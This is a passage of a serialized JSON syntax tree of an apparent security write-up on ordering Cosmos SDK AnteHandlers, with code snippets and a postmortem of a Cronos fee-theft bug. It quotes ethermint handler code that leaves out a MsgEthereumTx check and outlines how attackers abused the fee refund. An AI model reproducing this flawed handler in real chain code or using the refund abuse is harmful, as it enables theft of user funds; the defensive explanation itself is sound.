next",{"type":21,"tag":85,"props":79628,"children":79629},{"style":114},[79630],{"type":26,"value":1439},{"type":21,"tag":85,"props":79632,"children":79633},{"style":120},[79634],{"type":26,"value":20708},{"type":21,"tag":85,"props":79636,"children":79637},{"style":114},[79638],{"type":26,"value":256},{"type":21,"tag":85,"props":79640,"children":79641},{"style":120},[79642],{"type":26,"value":79643},"tx",{"type":21,"tag":85,"props":79645,"children":79646},{"style":114},[79647],{"type":26,"value":256},{"type":21,"tag":85,"props":79649,"children":79650},{"style":120},[79651],{"type":26,"value":79652},"simulate",{"type":21,"tag":85,"props":79654,"children":79655},{"style":114},[79656],{"type":26,"value":2485},{"type":21,"tag":85,"props":79658,"children":79659},{"class":87,"line":23938},[79660],{"type":21,"tag":85,"props":79661,"children":79662},{"style":114},[79663],{"type":26,"value":2671},{"type":21,"tag":22,"props":79665,"children":79666},{},[79667,79669,79674,79676,79682,79684,79690],{"type":26,"value":79668},"Where should this custom ",{"type":21,"tag":66,"props":79670,"children":79672},{"className":79671},[],[79673],{"type":26,"value":78932},{"type":26,"value":79675}," be placed relative to other ",{"type":21,"tag":66,"props":79677,"children":79679},{"className":79678},[],[79680],{"type":26,"value":79681},"AnteHandlers",{"type":26,"value":79683}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":21,"tag":66,"props":79685,"children":79687},{"className":79686},[],[79688],{"type":26,"value":79689},"SetUpContextDecorator",{"type":26,"value":79691}," should work, right?",{"type":21,"tag":22,"props":79693,"children":79694},{},[79695],{"type":21,"tag":335,"props":79696,"children":79699},{"href":79697,"rel":79698},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[339],[79700],{"type":26,"value":77201},{"type":21,"tag":75,"props":79702,"children":79704},{"code":79703,"language":76626,"meta":7,"className":76627,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[79705],{"type":21,"tag":66,"props":79706,"children":79707},{"__ignoreMap":7},[79708,79741,79758,79766,79795,79807,79819,79848,79876,79955,79988,80016,80061,80106,80134],{"type":21,"tag":85,"props":79709,"children":79710},{"class":87,"line":88},[79711,79716,79720,79724,79728,79732,79737],{"type":21,"tag":85,"props":79712,"children":79713},{"style":120},[79714],{"type":26,"value":79715},"anteDecorators",{"type":21,"tag":85,"props":79717,"children":79718},{"style":169},[79719],{"type":26,"value":76878},{"type":21,"tag":85,"props":79721,"children":79722},{"style":114},[79723],{"type":26,"value":76689},{"type":21,"tag":85,"props":79725,"children":79726},{"style":108},[79727],{"type":26,"value":79192},{"type":21,"tag":85,"props":79729,"children":79730},{"style":114},[79731],{"type":26,"value":73},{"type":21,"tag":85,"props":79733,"children":79734},{"style":108},[79735],{"type":26,"value":79736},"AnteDecorator",{"type":21,"tag":85,"props":79738,"children":79739},{"style":114},[79740],{"type":26,"value":11296},{"type":21,"tag":85,"props":79742,"children":79743},{"class":87,"line":98},[79744,79749,79753],{"type":21,"tag":85,"props":79745,"children":79746},{"style":1021},[79747],{"type":26,"value":79748},"    NewSetUpContextDecorator",{"type":21,"tag":85,"props":79750,"children":79751},{"style":114},[79752],{"type":26,"value":18799},{"type":21,"tag":85,"props":79754,"children":79755},{"style":92},[79756],{"type":26,"value":79757},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":21,"tag":85,"props":79759,"children":79760},{"class":87,"line":151},[79761],{"type":21,"tag":85,"props":79762,"children":79763},{"style":92},[79764],{"type":26,"value":79765},"    // INSERT HERE\n",{"type":21,"tag":85,"props":79767,"children":79768},{"class":87,"line":160},[79769,79774,79778,79782,79786,79791],{"type":21,"tag":85,"props":79770,"children":79771},{"style":1021},[79772],{"type":26,"value":79773},"    NewExtensionOptionsDecorator",{"type":21,"tag":85,"props":79775,"children":79776},{"style":114},[79777],{"type":26,"value":1439},{"type":21,"tag":85,"props":79779,"children":79780},{"style":120},[79781],{"type":26,"value":36486},{"type":21,"tag":85,"props":79783,"children":79784},{"style":114},[79785],{"type":26,"value":73},{"type":21,"tag":85,"props":79787,"children":79788},{"style":120},[79789],{"type":26,"value":79790},"ExtensionOptionChecker",{"type":21,"tag":85,"props":79792,"children":79793},{"style":114},[79794],{"type":26,"value":1074},{"type":21,"tag":85,"props":79796,"children":79797},{"class":87,"line":185},[79798,79803],{"type":21,"tag":85,"props":79799,"children":79800},{"style":1021},[79801],{"type":26,"value":79802},"    NewValidateBasicDecorator",{"type":21,"tag":85,"props":79804,"children":79805},{"style":114},[79806],{"type":26,"value":4258},{"type":21,"tag":85,"props":79808,"children":79809},{"class":87,"line":501},[79810,79815],{"type":21,"tag":85,"props":79811,"children":79812},{"style":1021},[79813],{"type":26,"value":79814},"    NewTxTimeoutHeightDecorator",{"type":21,"tag":85,"props":79816,"children":79817},{"style":114},[79818],{"type":26,"value":4258},{"type":21,"tag":85,"props":79820,"children":79821},{"class":87,"line":697},[79822,79827,79831,79835,79839,79844],{"type":21,"tag":85,"props":79823,"children":79824},{"style":1021},[79825],{"type":26,"value":79826},"    NewValidateMemoDecorator",{"type":21,"tag":85,"props":79828,"children":79829},{"style":114},[79830],{"type":26,"value":1439},{"type":21,"tag":85,"props":79832,"children":79833},{"style":120},[79834],{"type":26,"value":36486},{"type":21,"tag":85,"props":79836,"children":79837},{"style":114},[79838],{"type":26,"value":73},{"type":21,"tag":85,"props":79840,"children":79841},{"style":120},[79842],{"type":26,"value":79843},"AccountKeeper",{"type":21,"tag":85,"props":79845,"children":79846},{"style":114},[79847],{"type":26,"value":1074},{"type":21,"tag":85,"props":79849,"children":79850},{"class":87,"line":706},[79851,79856,79860,79864,79868,79872],{"type":21,"tag":85,"props":79852,"children":79853},{"style":1021},[79854],{"type":26,"value":79855},"    NewConsumeGasForTxSizeDecorator",{"type":21,"tag":85,"props":79857,"children":79858},{"style":114},[79859],{"type":26,"value":1439},{"type":21,"tag":85,"props":79861,"children":79862},{"style":120},[79863],{"type":26,"value":36486},{"type":21,"tag":85,"props":79865,"children":79866},{"style":114},[79867],{"type":26,"value":73},{"type":21,"tag":85,"props":79869,"children":79870},{"style":120},[79871],{"type":26,"value":79843},{"type":21,"tag":85,"props":79873,"children":79874},{"style":114},[79875],{"type":26,"value":1074},{"type":21,"tag":85,"props":79877,"children":79878},{"class":87,"line":1100},[79879,79884,79888,79892,79896,79900,79904,79908,79912,79917,79921,79925,79929,79934,79938,79942,79946,79951],{"type":21,"tag":85,"props":79880,"children":79881},{"style":1021},[79882],{"type":26,"value":79883},"    NewDeductFeeDecorator",{"type":21,"tag":85,"props":79885,"children":79886},{"style":114},[79887],{"type":26,"value":1439},{"type":21,"tag":85,"props":79889,"children":79890},{"style":120},[79891],{"type":26,"value":36486},{"type":21,"tag":85,"props":79893,"children":79894},{"style":114},[79895],{"type":26,"value":73},{"type":21,"tag":85,"props":79897,"children":79898},{"style":120},[79899],{"type":26,"value":79843},{"type":21,"tag":85,"props":79901,"children":79902},{"style":114},[79903],{"type":26,"value":256},{"type":21,"tag":85,"props":79905,"children":79906},{"style":120},[79907],{"type":26,"value":36486},{"type":21,"tag":85,"props":79909,"children":79910},{"style":114},[79911],{"type":26,"value":73},{"type":21,"tag":85,"props":79913,"children":79914},{"style":120},[79915],{"type":26,"value":79916},"BankKeeper",{"type":21,"tag":85,"props":79918,"children":79919},{"style":114},[79920],{"type":26,"value":256},{"type":21,"tag":85,"props":79922,"children":79923},{"style":120},[79924],{"type":26,"value":36486},{"type":21,"tag":85,"props":79926,"children":79927},{"style":114},[79928],{"type":26,"value":73},{"type":21,"tag":85,"props":79930,"children":79931},{"style":120},[79932],{"type":26,"value":79933},"FeegrantKeeper",{"type":21,"tag":85,"props":79935,"children":79936},{"style":114},[79937],{"type":26,"value":256},{"type":21,"tag":85,"props":79939,"children":79940},{"style":120},[79941],{"type":26,"value":36486},{"type":21,"tag":85,"props":79943,"children":79944},{"style":114},[79945],{"type":26,"value":73},{"type":21,"tag":85,"props":79947,"children":79948},{"style":120},[79949],{"type":26,"value":79950},"TxFeeChecker",{"type":21,"tag":85,"props":79952,"children":79953},{"style":114},[79954],{"type":26,"value":1074},{"type":21,"tag":85,"props":79956,"children":79957},{"class":87,"line":1339},[79958,79963,79967,79971,79975,79979,79983],{"type":21,"tag":85,"props":79959,"children":79960},{"style":1021},[79961],{"type":26,"value":79962},"    NewSetPubKeyDecorator",{"type":21,"tag":85,"props":79964,"children":79965},{"style":114},[79966],{"type":26,"value":1439},{"type":21,"tag":85,"props":79968,"children":79969},{"style":120},[79970],{"type":26,"value":36486},{"type":21,"tag":85,"props":79972,"children":79973},{"style":114},[79974],{"type":26,"value":73},{"type":21,"tag":85,"props":79976,"children":79977},{"style":120},[79978],{"type":26,"value":79843},{"type":21,"tag":85,"props":79980,"children":79981},{"style":114},[79982],{"type":26,"value":15596},{"type":21,"tag":85,"props":79984,"children":79985},{"style":92},[79986],{"type":26,"value":79987},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":21,"tag":85,"props":79989,"children":79990},{"class":87,"line":1348},[79991,79996,80000,80004,80008,80012],{"type":21,"tag":85,"props":79992,"children":79993},{"style":1021},[79994],{"type":26,"value":79995},"    NewValidateSigCountDecorator",{"type":21,"tag":85,"props":79997,"children":79998},{"style":114},[79999],{"type":26,"value":1439},{"type":21,"tag":85,"props":80001,"children":80002},{"style":120},[80003],{"type":26,"value":36486},{"type":21,"tag":85,"props":80005,"children":80006},{"style":114},[80007],{"type":26,"value":73},{"type":21,"tag":85,"props":80009,"children":80010},{"style":120},[80011],{"type":26,"value":79843},{"type":21,"tag":85,"props":80013,"children":80014},{"style":114},[80015],{"type":26,"value":1074},{"type":21,"tag":85,"props":80017,"children":80018},{"class":87,"line":1386},[80019,80024,80028,80032,80036,80040,80044,80048,80052,80057],{"type":21,"tag":85,"props":80020,"children":80021},{"style":1021},[80022],{"type":26,"value":80023},"    NewSigGasConsumeDecorator",{"type":21,"tag":85,"props":80025,"children":80026},{"style":114},[80027],{"type":26,"value":1439},{"type":21,"tag":85,"props":80029,"children":80030},{"style":120},[80031],{"type":26,"value":36486},{"type":21,"tag":85,"props":80033,"children":80034},{"style":114},[80035],{"type":26,"value":73},{"type":21,"tag":85,"props":80037,"children":80038},{"style":120},[80039],{"type":26,"value":79843},{"type":21,"tag":85,"props":80041,"children":80042},{"style":114},[80043],{"type":26,"value":256},{"type":21,"tag":85,"props":80045,"children":80046},{"style":120},[80047],{"type":26,"value":36486},{"type":21,"tag":85,"props":80049,"children":80050},{"style":114},[80051],{"type":26,"value":73},{"type":21,"tag":85,"props":80053,"children":80054},{"style":120},[80055],{"type":26,"value":80056},"SigGasConsumer",{"type":21,"tag":85,"props":80058,"children":80059},{"style":114},[80060],{"type":26,"value":1074},{"type":21,"tag":85,"props":80062,"children":80063},{"class":87,"line":1394},[80064,80069,80073,80077,80081,80085,80089,80093,80097,80102],{"type":21,"tag":85,"props":80065,"children":80066},{"style":1021},[80067],{"type":26,"value":80068},"    NewSigVerificationDecorator",{"type":21,"tag":85,"props":80070,"children":80071},{"style":114},[80072],{"type":26,"value":1439},{"type":21,"tag":85,"props":80074,"children":80075},{"style":120},[80076],{"type":26,"value":36486},{"type":21,"tag":85,"props":80078,"children":80079},{"style":114},[80080],{"type":26,"value":73},{"type":21,"tag":85,"props":80082,"children":80083},{"style":120},[80084],{"type":26,"value":79843},{"type":21,"tag":85,"props":80086,"children":80087},{"style":114},[80088],{"type":26,"value":256},{"type":21,"tag":85,"props":80090,"children":80091},{"style":120},[80092],{"type":26,"value":36486},{"type":21,"tag":85,"props":80094,"children":80095},{"style":114},[80096],{"type":26,"value":73},{"type":21,"tag":85,"props":80098,"children":80099},{"style":120},[80100],{"type":26,"value":80101},"SignModeHandler",{"type":21,"tag":85,"props":80103,"children":80104},{"style":114},[80105],{"type":26,"value":1074},{"type":21,"tag":85,"props":80107,"children":80108},{"class":87,"line":1402},[80109,80114,80118,80122,80126,80130],{"type":21,"tag":85,"props":80110,"children":80111},{"style":1021},[80112],{"type":26,"value":80113},"    NewIncrementSequenceDecorator",{"type":21,"tag":85,"props":80115,"children":80116},{"style":114},[80117],{"type":26,"value":1439},{"type":21,"tag":85,"props":80119,"children":80120},{"style":120},[80121],{"type":26,"value":36486},{"type":21,"tag":85,"props":80123,"children":80124},{"style":114},[80125],{"type":26,"value":73},{"type":21,"tag":85,"props":80127,"children":80128},{"style":120},[80129],{"type":26,"value":79843},{"type":21,"tag":85,"props":80131,"children":80132},{"style":114},[80133],{"type":26,"value":1074},{"type":21,"tag":85,"props":80135,"children":80136},{"class":87,"line":3145},[80137],{"type":21,"tag":85,"props":80138,"children":80139},{"style":114},[80140],{"type":26,"value":2671},{"type":21,"tag":22,"props":80142,"children":80143},{},[80144,80146,80151,80153,80159,80160,80166],{"type":26,"value":80145},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":21,"tag":66,"props":80147,"children":80149},{"className":80148},[],[80150],{"type":26,"value":79681},{"type":26,"value":80152},", such as ",{"type":21,"tag":66,"props":80154,"children":80156},{"className":80155},[],[80157],{"type":26,"value":80158},"SigGasConsumeDecorator",{"type":26,"value":11408},{"type":21,"tag":66,"props":80161,"children":80163},{"className":80162},[],[80164],{"type":26,"value":80165},"ConsumeGasForTxSizeDecorator",{"type":26,"value":80167},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":21,"tag":22,"props":80169,"children":80170},{},[80171,80173,80179,80181,80186],{"type":26,"value":80172},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":21,"tag":66,"props":80174,"children":80176},{"className":80175},[],[80177],{"type":26,"value":80178},"msgs",{"type":26,"value":80180}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":21,"tag":66,"props":80182,"children":80184},{"className":80183},[],[80185],{"type":26,"value":79007},{"type":26,"value":80187}," chain.",{"type":21,"tag":10022,"props":80189,"children":80191},{"id":80190},"real-world-examples-2",[80192],{"type":26,"value":77151},{"type":21,"tag":22,"props":80194,"children":80195},{},[80196,80198,80203,80205,80212],{"type":26,"value":80197},"An instance of ",{"type":21,"tag":66,"props":80199,"children":80201},{"className":80200},[],[80202],{"type":26,"value":78932},{"type":26,"value":80204}," misuse is a ",{"type":21,"tag":335,"props":80206,"children":80209},{"href":80207,"rel":80208},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[339],[80210],{"type":26,"value":80211},"Theft of Fund bug",{"type":26,"value":80213}," that was exploited in a Cronos contract.",{"type":21,"tag":22,"props":80215,"children":80216},{},[80217,80219,80224,80226,80231,80233,80239,80241,80247,80249,80254,80256,80261],{"type":26,"value":80218},"In this scenario, ",{"type":21,"tag":66,"props":80220,"children":80222},{"className":80221},[],[80223],{"type":26,"value":80178},{"type":26,"value":80225}," are multiplexed to different ",{"type":21,"tag":66,"props":80227,"children":80229},{"className":80228},[],[80230],{"type":26,"value":78932},{"type":26,"value":80232}," sets through the user-controlled ",{"type":21,"tag":66,"props":80234,"children":80236},{"className":80235},[],[80237],{"type":26,"value":80238},"ExtensionOptionsEthereumTx",{"type":26,"value":80240}," option. However, due to a lack of tx validation, if a ",{"type":21,"tag":66,"props":80242,"children":80244},{"className":80243},[],[80245],{"type":26,"value":80246},"MsgEthereumTx",{"type":26,"value":80248}," does not have ",{"type":21,"tag":66,"props":80250,"children":80252},{"className":80251},[],[80253],{"type":26,"value":80238},{"type":26,"value":80255}," specified, it will be routed to non-Ethereum ",{"type":21,"tag":66,"props":80257,"children":80259},{"className":80258},[],[80260],{"type":26,"value":79681},{"type":26,"value":80262},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":21,"tag":22,"props":80264,"children":80265},{},[80266],{"type":21,"tag":335,"props":80267,"children":80270},{"href":80268,"rel":80269},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[339],[80271],{"type":26,"value":77201},{"type":21,"tag":75,"props":80273,"children":80275},{"code":80274,"language":76626,"meta":7,"className":76627,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[80276],{"type":21,"tag":66,"props":80277,"children":80278},{"__ignoreMap":7},[80279,80295,80320,80344,80361,80386,80412,80437,80460,80476,80532,80573,80599,80606,80652,80659,80705,80721,80751,80786,80838,80855,80863,80870,80899,80915,80923,80949,80957,80964,80976,81010,81056,81068,81075,81082,81089,81128,81135,81142,81149,81157,81164,81188,81212,81240,81265,81273,81306,81313,81325,81356,81411,81424,81432,81440,81448,81488,81496],{"type":21,"tag":85,"props":80280,"children":80281},{"class":87,"line":88},[80282,80286,80291],{"type":21,"tag":85,"props":80283,"children":80284},{"style":102},[80285],{"type":26,"value":76762},{"type":21,"tag":85,"props":80287,"children":80288},{"style":1021},[80289],{"type":26,"value":80290}," NewAnteHandler",{"type":21,"tag":85,"props":80292,"children":80293},{"style":114},[80294],{"type":26,"value":1029},{"type":21,"tag":85,"props":80296,"children":80297},{"class":87,"line":98},[80298,80303,80308,80312,80316],{"type":21,"tag":85,"props":80299,"children":80300},{"style":120},[80301],{"type":26,"value":80302},"    ak",{"type":21,"tag":85,"props":80304,"children":80305},{"style":108},[80306],{"type":26,"value":80307}," evmtypes",{"type":21,"tag":85,"props":80309,"children":80310},{"style":114},[80311],{"type":26,"value":73},{"type":21,"tag":85,"props":80313,"children":80314},{"style":108},[80315],{"type":26,"value":79843},{"type":21,"tag":85,"props":80317,"children":80318},{"style":114},[80319],{"type":26,"value":182},{"type":21,"tag":85,"props":80321,"children":80322},{"class":87,"line":151},[80323,80328,80332,80336,80340],{"type":21,"tag":85,"props":80324,"children":80325},{"style":120},[80326],{"type":26,"value":80327},"    bankKeeper",{"type":21,"tag":85,"props":80329,"children":80330},{"style":108},[80331],{"type":26,"value":80307},{"type":21,"tag":85,"props":80333,"children":80334},{"style":114},[80335],{"type":26,"value":73},{"type":21,"tag":85,"props":80337,"children":80338},{"style":108},[80339],{"type":26,"value":79916},{"type":21,"tag":85,"props":80341,"children":80342},{"style":114},[80343],{"type":26,"value":182},{"type":21,"tag":85,"props":80345,"children":80346},{"class":87,"line":160},[80347,80352,80357],{"type":21,"tag":85,"props":80348,"children":80349},{"style":120},[80350],{"type":26,"value":80351},"    evmKeeper",{"type":21,"tag":85,"props":80353,"children":80354},{"style":108},[80355],{"type":26,"value":80356}," EVMKeeper",{"type":21,"tag":85,"props":80358,"children":80359},{"style":114},[80360],{"type":26,"value":182},{"type":21,"tag":85,"props":80362,"children":80363},{"class":87,"line":185},[80364,80369,80374,80378,80382],{"type":21,"tag":85,"props":80365,"children":80366},{"style":120},[80367],{"type":26,"value":80368},"    feeGrantKeeper",{"type":21,"tag":85,"props":80370,"children":80371},{"style":108},[80372],{"type":26,"value":80373}," authante",{"type":21,"tag":85,"props":80375,"children":80376},{"style":114},[80377],{"type":26,"value":73},{"type":21,"tag":85,"props":80379,"children":80380},{"style":108},[80381],{"type":26,"value":79933},{"type":21,"tag":85,"props":80383,"children":80384},{"style":114},[80385],{"type":26,"value":182},{"type":21,"tag":85,"props":80387,"children":80388},{"class":87,"line":501},[80389,80394,80399,80403,80408],{"type":21,"tag":85,"props":80390,"children":80391},{"style":120},[80392],{"type":26,"value":80393},"    channelKeeper",{"type":21,"tag":85,"props":80395,"children":80396},{"style":108},[80397],{"type":26,"value":80398}," channelkeeper",{"type":21,"tag":85,"props":80400,"children":80401},{"style":114},[80402],{"type":26,"value":73},{"type":21,"tag":85,"props":80404,"children":80405},{"style":108},[80406],{"type":26,"value":80407},"Keeper",{"type":21,"tag":85,"props":80409,"children":80410},{"style":114},[80411],{"type":26,"value":182},{"type":21,"tag":85,"props":80413,"children":80414},{"class":87,"line":697},[80415,80420,80425,80429,80433],{"type":21,"tag":85,"props":80416,"children":80417},{"style":120},[80418],{"type":26,"value":80419},"    signModeHandler",{"type":21,"tag":85,"props":80421,"children":80422},{"style":108},[80423],{"type":26,"value":80424}," authsigning",{"type":21,"tag":85,"props":80426,"children":80427},{"style":114},[80428],{"type":26,"value":73},{"type":21,"tag":85,"props":80430,"children":80431},{"style":108},[80432],{"type":26,"value":80101},{"type":21,"tag":85,"props":80434,"children":80435},{"style":114},[80436],{"type":26,"value":182},{"type":21,"tag":85,"props":80438,"children":80439},{"class":87,"line":706},[80440,80444,80448,80452,80456],{"type":21,"tag":85,"props":80441,"children":80442},{"style":114},[80443],{"type":26,"value":736},{"type":21,"tag":85,"props":80445,"children":80446},{"style":108},[80447],{"type":26,"value":79192},{"type":21,"tag":85,"props":80449,"children":80450},{"style":114},[80451],{"type":26,"value":73},{"type":21,"tag":85,"props":80453,"children":80454},{"style":108},[80455],{"type":26,"value":78932},{"type":21,"tag":85,"props":80457,"children":80458},{"style":114},[80459],{"type":26,"value":148},{"type":21,"tag":85,"props":80461,"children":80462},{"class":87,"line":1100},[80463,80467,80472],{"type":21,"tag":85,"props":80464,"children":80465},{"style":2885},[80466],{"type":26,"value":17411},{"type":21,"tag":85,"props":80468,"children":80469},{"style":102},[80470],{"type":26,"value":80471}," func",{"type":21,"tag":85,"props":80473,"children":80474},{"style":114},[80475],{"type":26,"value":1029},{"type":21,"tag":85,"props":80477,"children":80478},{"class":87,"line":1339},[80479,80483,80487,80491,80495,80499,80503,80507,80511,80515,80519,80524,80528],{"type":21,"tag":85,"props":80480,"children":80481},{"style":120},[80482],{"type":26,"value":26627},{"type":21,"tag":85,"props":80484,"children":80485},{"style":108},[80486],{"type":26,"value":79103},{"type":21,"tag":85,"props":80488,"children":80489},{"style":114},[80490],{"type":26,"value":73},{"type":21,"tag":85,"props":80492,"children":80493},{"style":108},[80494],{"type":26,"value":76811},{"type":21,"tag":85,"props":80496,"children":80497},{"style":114},[80498],{"type":26,"value":256},{"type":21,"tag":85,"props":80500,"children":80501},{"style":120},[80502],{"type":26,"value":79643},{"type":21,"tag":85,"props":80504,"children":80505},{"style":108},[80506],{"type":26,"value":79103},{"type":21,"tag":85,"props":80508,"children":80509},{"style":114},[80510],{"type":26,"value":73},{"type":21,"tag":85,"props":80512,"children":80513},{"style":108},[80514],{"type":26,"value":79136},{"type":21,"tag":85,"props":80516,"children":80517},{"style":114},[80518],{"type":26,"value":256},{"type":21,"tag":85,"props":80520,"children":80521},{"style":120},[80522],{"type":26,"value":80523},"sim",{"type":21,"tag":85,"props":80525,"children":80526},{"style":108},[80527],{"type":26,"value":12467},{"type":21,"tag":85,"props":80529,"children":80530},{"style":114},[80531],{"type":26,"value":182},{"type":21,"tag":85,"props":80533,"children":80534},{"class":87,"line":1348},[80535,80540,80545,80549,80553,80557,80561,80565,80569],{"type":21,"tag":85,"props":80536,"children":80537},{"style":114},[80538],{"type":26,"value":80539},"    ) (",{"type":21,"tag":85,"props":80541,"children":80542},{"style":120},[80543],{"type":26,"value":80544},"newCtx",{"type":21,"tag":85,"props":80546,"children":80547},{"style":108},[80548],{"type":26,"value":79103},{"type":21,"tag":85,"props":80550,"children":80551},{"style":114},[80552],{"type":26,"value":73},{"type":21,"tag":85,"props":80554,"children":80555},{"style":108},[80556],{"type":26,"value":76811},{"type":21,"tag":85,"props":80558,"children":80559},{"style":114},[80560],{"type":26,"value":256},{"type":21,"tag":85,"props":80562,"children":80563},{"style":120},[80564],{"type":26,"value":48875},{"type":21,"tag":85,"props":80566,"children":80567},{"style":108},[80568],{"type":26,"value":15295},{"type":21,"tag":85,"props":80570,"children":80571},{"style":114},[80572],{"type":26,"value":15222},{"type":21,"tag":85,"props":80574,"children":80575},{"class":87,"line":1386},[80576,80581,80586,80590,80594],{"type":21,"tag":85,"props":80577,"children":80578},{"style":102},[80579],{"type":26,"value":80580},"        var",{"type":21,"tag":85,"props":80582,"children":80583},{"style":120},[80584],{"type":26,"value":80585}," anteHandler",{"type":21,"tag":85,"props":80587,"children":80588},{"style":108},[80589],{"type":26,"value":79103},{"type":21,"tag":85,"props":80591,"children":80592},{"style":114},[80593],{"type":26,"value":73},{"type":21,"tag":85,"props":80595,"children":80596},{"style":108},[80597],{"type":26,"value":80598},"AnteHandler\n",{"type":21,"tag":85,"props":80600,"children":80601},{"class":87,"line":1394},[80602],{"type":21,"tag":85,"props":80603,"children":80604},{"emptyLinePlaceholder":16},[80605],{"type":26,"value":703},{"type":21,"tag":85,"props":80607,"children":80608},{"class":87,"line":1402},[80609,80614,80619,80623,80627,80631,80636,80640,80644,80648],{"type":21,"tag":85,"props":80610,"children":80611},{"style":2885},[80612],{"type":26,"value":80613},"        defer",{"type":21,"tag":85,"props":80615,"children":80616},{"style":1021},[80617],{"type":26,"value":80618}," Recover",{"type":21,"tag":85,"props":80620,"children":80621},{"style":114},[80622],{"type":26,"value":1439},{"type":21,"tag":85,"props":80624,"children":80625},{"style":120},[80626],{"type":26,"value":20708},{"type":21,"tag":85,"props":80628,"children":80629},{"style":114},[80630],{"type":26,"value":73},{"type":21,"tag":85,"props":80632,"children":80633},{"style":1021},[80634],{"type":26,"value":80635},"Logger",{"type":21,"tag":85,"props":80637,"children":80638},{"style":114},[80639],{"type":26,"value":18799},{"type":21,"tag":85,"props":80641,"children":80642},{"style":169},[80643],{"type":26,"value":2238},{"type":21,"tag":85,"props":80645,"children":80646},{"style":120},[80647],{"type":26,"value":48875},{"type":21,"tag":85,"props":80649,"children":80650},{"style":114},[80651],{"type":26,"value":2485},{"type":21,"tag":85,"props":80653,"children":80654},{"class":87,"line":3145},[80655],{"type":21,"tag":85,"props":80656,"children":80657},{"emptyLinePlaceholder":16},[80658],{"type":26,"value":703},{"type":21,"tag":85,"props":80660,"children":80661},{"class":87,"line":3246},[80662,80667,80671,80675,80679,80683,80687,80692,80696,80701],{"type":21,"tag":85,"props":80663,"children":80664},{"style":120},[80665],{"type":26,"value":80666},"        txWithExtensions",{"type":21,"tag":85,"props":80668,"children":80669},{"style":114},[80670],{"type":26,"value":256},{"type":21,"tag":85,"props":80672,"children":80673},{"style":120},[80674],{"type":26,"value":79229},{"type":21,"tag":85,"props":80676,"children":80677},{"style":169},[80678],{"type":26,"value":76878},{"type":21,"tag":85,"props":80680,"children":80681},{"style":120},[80682],{"type":26,"value":68487},{"type":21,"tag":85,"props":80684,"children":80685},{"style":114},[80686],{"type":26,"value":79242},{"type":21,"tag":85,"props":80688,"children":80689},{"style":108},[80690],{"type":26,"value":80691},"authante",{"type":21,"tag":85,"props":80693,"children":80694},{"style":114},[80695],{"type":26,"value":73},{"type":21,"tag":85,"props":80697,"children":80698},{"style":108},[80699],{"type":26,"value":80700},"HasExtensionOptionsTx",{"type":21,"tag":85,"props":80702,"children":80703},{"style":114},[80704],{"type":26,"value":2485},{"type":21,"tag":85,"props":80706,"children":80707},{"class":87,"line":3255},[80708,80712,